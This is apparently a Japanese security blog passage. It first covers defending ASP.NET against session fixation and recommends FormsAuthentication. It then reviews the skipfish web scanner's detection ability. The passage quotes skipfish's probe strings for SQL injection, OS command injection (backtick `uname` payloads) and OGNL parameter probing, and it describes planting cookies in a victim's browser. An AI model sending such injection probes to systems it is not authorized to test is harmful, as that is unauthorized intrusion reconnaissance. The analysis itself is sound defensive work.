ところで、この方法だとASP.NET_SessionId以外のCookieも禁止されてしまうという弊害があります。本当はASP.NET_SessionIdだけを禁止できればよいのですが、ASP.NETのHttpCookieCollection(Request.Cookies)はそのようなことができないように作られています。

Cookie のコレクションは常に ASP.NET_SessionId の値を持っているため、Cookie が存在するかどうかを単にテストすることはできません。

つまり、例えばFooという名前のCookieがリクエストに存在するかは「Request.Cookies["Foo"]」がnullか調べることで確認できますが、「ASP.NET_SessionId」については同じ方法で確認することができません。

シンプルにする

上のプログラムでは、ユーザIDとパスワードを受け取った後に、MAC(もしくはViewStateなど)を生成して次のページに渡していますが、よくよく考えてみるとそのような面倒なことは不要であることが判ります。

つまり、以下のような処理をすれば、ログイン成功のタイミングでセッションが新たに生成されます。

1. Session.AbandonとCookieを消す処理をしてログインフォームをユーザに返す
2. ログイン処理(ユーザIDとパスワードを受け取り検証する処理)で、
 2-1. Cookieが無い && パスワードが正しければ、セッション変数にユーザIDを入れる
 2-2. そうでなければ1の処理を行う

要は、ASP.NETはSession.Abandonした次のリクエストでセッションを再生成するため、セッションを再生成させたいリクエストよりも1つ手前でSession.Abandonしてやるということです*3

なお注意が必要なのは、これはASP.NETに限ったある種のハックです。PHPJavaTomcat)のようにセッションをアトミックに(単一のリクエスト・レスポンスで)再生成する機能を持つプラットフォームを使っているのならば、ログイン成功時にセッションを再生成すれば済む話です。

とりあえずのまとめ

以上、ASP.NETでセッションを再生成する方法について書きました。

まとめると、ASP.NETはまともにセッションを再生成する機能を提供していません。そのため、ASP.NET_SessionIdを使ったログイン状態管理を行う場合には、ダーティーでなおかつ制約のある方法でしかセッション固定対策はできないという結論です。

したがって、基本的にはASP.NETのセッション機構を使用してログイン状態を管理する方式はお勧めできません。

それではどうすればよいかというと、ASP.NETが提供するフォーム認証機構であるFormsAuthenticationをログイン管理に使います。Microsoftも、通常のセッションではなくこれを使うべしと考えています(多分)。

FormsAuthenticationは、通常のセッションID(ASP.NET_SessionId)とは別の認証チケット(Cookie)をログイン成功時に発行し、この認証チケットによってログイン後のユーザの識別を行う仕組みです。これらの処理はアプリ側の作りこみをほとんどせずに利用できます。この仕組みを使うならば、セッション固定によるなりすましを避けるために、無理やりにセッションIDを変更する必要もありません。

私自身はFormsAuthenticationは自由が利かずに使いづらいと思っていましたが、よくよく調べてみるとそうでもありませんでした。IDとパスワードの検証は自作のメソッドで行って、認証チケットの発行とそのデコードの仕組みだけをアプリから利用することもできますし、Cookieが使えないデバイスにも対応できるようになっています。

ただし、FormsAuthenticationを使えばセッションに関わる問題が全て解決するかというと、実はそうではありません。セッションIDと認証チケットを分離しているアプリの注意点については、またあらためて書きたいと思います。

補足:Cookieの固定化

今日の日記は、他人のブラウザに対してCookieを固定化できることを前提として書いています。

Cookieの固定化はブラウザ側(FirefoxSafari)でCookie Monster対策が進められてきており、以前よりもリスクは減っていると思います。

とはいっても、少なくともHTTPSを使うサイトや地域型JPドメインを使うサイトでは、現実的な問題ととらえて対処すべきだと思います。

その理由について少し補足すると、まずHTTPSのサイトは攻撃者が通信経路にいても安全であることが期待されます。仮に攻撃者が通信経路にいるならば、対象サイトへのHTTPの(HTTPSではない)リクエストを被害者のブラウザに発行させて、Set-Cookieヘッダを付けたレスポンスを勝手に返すことで、被害者のブラウザに好きなCookieを植えつけることができます。

また地域型JPドメインについては、IEはバージョン8になった現在でもtokyo.jp等ドメインへのCookieの発行を許すCookie Monsterバグを持っています。

補足:Microsoftへの機能追加要望

本日の日記に書いた、ASP.NETでまともにセッション再生成ができない問題は以前から知られています。Microsoft Connectには、セッション再生成機能を追加する要望が出されてもいます。

参考:Microsoft Connect is Retired - Collaborate | Microsoft Docs

ですが、このページを見る限りMicrosoftに機能追加の意思はないようです。「ログインではFormsAuthenticationを使え、フォームではViewStateを使え」ということなのかもしれませんが、それならばセッションは何のためにあるんだ?という疑問がわいてきます。

Microsoft Connectには、機能追加やバグ修正要望に対して、他人が賛成・反対票を投じる機能がありますので、この機能追加要望に賛成票を投じておきました。

補足:ASP.NETのバージョン

ASP.NETのバージョン2(2.0.50727)で検証しています。

*1:私自身は検証していませんが、JBossではセッションIDの値が変わらない実装がされているとの話もあります。
afongen » Generate new session ID in Java EE?

*2:ただし、AdoptionされるのはCookieを使う場合だけで、URLにセッションIDを埋め込む方式を選択した場合には、無効なセッションIDを受け入れない設定であるregenerateExpiredSessionIdが有効になります。このあたりは、HttpSessionState.IsCookieless Property (System.Web.SessionState) | Microsoft Docsで背景を含めて説明されています。

*3:ただしURLにセッションIDを埋め込む方式の場合、この手は使えません。Session.Abandonした次のリクエストでは新たなセッションIDを埋め込んだURLに302でリダイレクトさせる応答が返るため、POSTで送ったユーザIDとパスワードの情報が失われるためです。

skipfishをためす

Googleから新しい検査ツールが出たとのことで、中身を見てみました。

Google Code Archive - Long-term storage for Google Code Project Hosting.

ツールの作者はRatproxyと同じくMichał Zalewski氏ですが、今回のツールはRatproxyとは違って"Active"な検査ツールです。

最新版のVersion 1.29ベータをダウンロードして使ってみました。

シグネチャと検査結果

こちらのページを参考にしてダウンロード・インストールしました。

skipfishインストールメモ | 俺のメモ

プログラムはC言語で書かれており、ヘッダファイルを含めて10KL程度の規模です。

インストール後にツールを起動すると、開始点として指定したページからリンクをたどって自動的に検査してくれます。検査が終わるとHTMLのレポートを出力してくれます。

私が検査対象としたアプリは、Oracleデータベースを操作する20個くらいのServletで、そのすべてにSQL Injection脆弱性があります。

検査は起動後4〜5分程で終了しました。この間にツールが送信したHTTPリクエストは10万を超えており、たかだか20個ほどのServletに対する検査としては多すぎます。実は、skipfishにはWebサーバのディレクトリやファイルを辞書探索して検査対象を見つけ出す機能があり、リクエストの大半はそこに費やされていました。

SQL Injectionについて

SQL Injectionについては、20個ほどのアプリのうちツールで検出できたのは2個だけでした。この2個はいずれもSELECT文のWHERE句の数値リテラルにインジェクションするタイプのものです。この2個のうち1つはBlindタイプ(=SQLエラーメッセージがHTMLに出ないもの)です。

数値リテラル以外はどうかというと、文字列リテラルや「ORDER BY」等にインジェクションするものは、SQLエラーがHTMLに出力されるものを含めて検出されませんでした。

理由を探るべくログやソースコードを見てみたところ、SQLインジェクションはBlind的な判定しか行っておらず、さらに文字列リテラルの検査としては以下の3つのパターンしかないことが判りました。

0:  \'\"
1:  '"
2:  \\'\\"

判定は「0の応答≠1の応答 かつ 0の応答≠2の応答」の場合にPositiveとしています。文字列リテラルエスケープに「\」が使用可能なデータベース(基本的にMySQLと一部のPostgres)を念頭にシグネチャが作られていることが判ります。

なので、それ以外のデータベースの文字列リテラルへのインジェクションは検出できません。また、MySQL用の検査パターンとしても少々物足りない感じです。

それ以外の検査パターン

検査パターンは「crawler.c」ファイルに書かれています。このファイルをみると判りますが、Blind方式で様々な脆弱性を検出するように作られています。

そのうち、わかりやすいものをいくつか挙げます。

OSコマンドインジェクション

バッククォートを使ってコマンドを動かし、Blind的な判定を行います。

0:  `true`
1:  `false`
2:  `uname`

3:  "`true`"
4:  "`false`"
5:  "`uname`"

6:  '`true`'
7:  '`false`'
8:  '`uname`'

「0の応答≒1の応答 かつ 0の応答≠2の応答」の場合にPositiveと判定しています。3〜5、6〜8も同様の判定を行っています。

明示的にShellをたたいて、その結果をHTMLに出力しているようなアプリについては、このパターンで検出できそうです。しかし、そうでないケース(=このアプローチでは検出できないケース)はかなりあると思います。

また、3〜5のパターンは「"」の内側にインジェクションするケースを想定しているのだと思いますが、その場合には0〜2で検出できるので不要な気がします。

OGNL Statement Excecution

これは、おそらくStruts2XWork)のOGNL文実行の脆弱性http://jira.opensymphony.com/browse/XW-641[WW-2030] User input is evaluated as an OGNL expression - ASF JIRA、他)を意識したものだと思います。

おおざっぱに言うと、skipfishは以下のようにパラメータ名・値を変化させて、「0の応答≒1の応答」の場合にPositiveと判定しています。

0:  foobar=123
1:  [0]['foobar']=123

しかし、これだけだとOGNL likeなパラメータハンドリングがされていることはわかっても、本当に脆弱性があるかどうかまではわかりません。

ちなみに、struts2脆弱性は、パラメータ名の処理だけではなく値の処理の方にもありました。そちら(値の処理の脆弱性)を利用する方が確実にコマンドの実行を判定できるので、私の自作ツールではそのようなシグネチャを使っています。

おわりに

今回は網羅的に調べたわけではありませんが、まだ試作段階のツールといった感じを受けました。

しかし、セールスポイントである"高速性"については宣伝通りです。localhostの80ポートに対する検査とはいえ、4〜5分のうちに10万を超えるリクエストを発行する能力はすごいです。その能力は、上述したサーバ上のディレクトリやファイルを辞書探索する機能で活かされています。

また、ドキュメント(Google Code Archive - Long-term storage for Google Code Project Hosting.)をみると、Ratproxyと同じくXSSJavaScript/JSON関係は色々と検査してくれるようです。今回はその辺は全く見てませんが、突っ込んでみてみると面白いかもしれません。